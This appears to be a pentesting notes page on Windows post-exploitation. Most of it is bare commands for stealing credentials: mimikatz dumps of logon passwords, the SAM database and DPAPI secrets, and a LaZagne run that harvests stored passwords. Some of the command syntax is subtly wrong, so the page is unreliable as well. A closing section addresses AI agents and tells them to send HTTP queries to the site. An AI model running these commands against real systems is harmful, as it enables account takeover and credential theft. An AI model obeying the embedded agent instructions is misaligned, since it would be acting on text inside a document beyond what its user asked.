# Post-Exploitation

## Dump hashes with mimikatz

### From memory

```bash
.\mimikatz.exe "sekurlsa::logonpasswords" exit
```

### From SAM

```bash
.\mimikatz.exe "sekurlsa::sam /sam:<path_to_sam /system:<path_to_system> exit
```

## LaZagne

The LaZagne project is an open source application used to retrieve lots of passwords stored on a local computer.

{% embed url="<https://github.com/AlessandroZ/LaZagne>" %}

```bash
.\LaZagne.exe all
```

## dpapi extract with mimikatz

```bash
.\mimikatz.exe "sekurlsa:dpapi" exit
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.incendium.rocks/pentesting-notes/windows-pentesting/post-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
